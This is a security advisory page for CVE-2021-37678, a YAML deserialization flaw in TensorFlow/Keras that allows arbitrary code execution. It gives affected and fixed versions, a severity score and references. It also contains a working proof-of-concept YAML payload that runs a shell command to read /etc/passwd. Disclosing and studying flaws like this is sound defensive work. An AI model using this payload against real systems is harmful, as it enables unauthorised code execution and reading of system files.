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  5. CVE-2021-37678

CVE-2021-37678: Arbitrary code execution due to YAML deserialization

August 25, 2021 (updated November 13, 2024)

TensorFlow and Keras can be tricked to perform arbitrary code execution when deserializing a Keras model from YAML format.

from tensorflow.keras import models

payload = '''
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
'''

models.model_from_yaml(payload)

References

  • github.com/advisories/GHSA-r6jx-9g48-2r5r
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-591.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-789.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-300.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/1df5a69e9f1a18a937e7907223066e606bf466b9
  • github.com/tensorflow/tensorflow/commit/23d6383eb6c14084a8fc3bdf164043b974818012
  • github.com/tensorflow/tensorflow/commit/8e47a685785bef8f81bcb996048921dfde08a9ab
  • github.com/tensorflow/tensorflow/commit/a09ab4e77afdcc6e1e045c9d41d5edab63aafc1a
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-r6jx-9g48-2r5r
  • nvd.nist.gov/vuln/detail/CVE-2021-37678

Code Behaviors & Features

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Affected versions

All versions before 2.3.4, all versions starting from 2.4.0 before 2.4.3, all versions starting from 2.5.0 before 2.5.1, version 2.5.0

Fixed versions

  • 2.3.4
  • 2.4.3
  • 2.5.1

Solution

Upgrade to versions 2.3.4, 2.4.3, 2.5.1 or above.

Impact 8.8 HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Learn more about CVSS

Weakness

  • CWE-502: Deserialization of Untrusted Data

Source file

pypi/tensorflow-gpu/CVE-2021-37678.yml

Spotted a mistake? Edit the file on GitLab.

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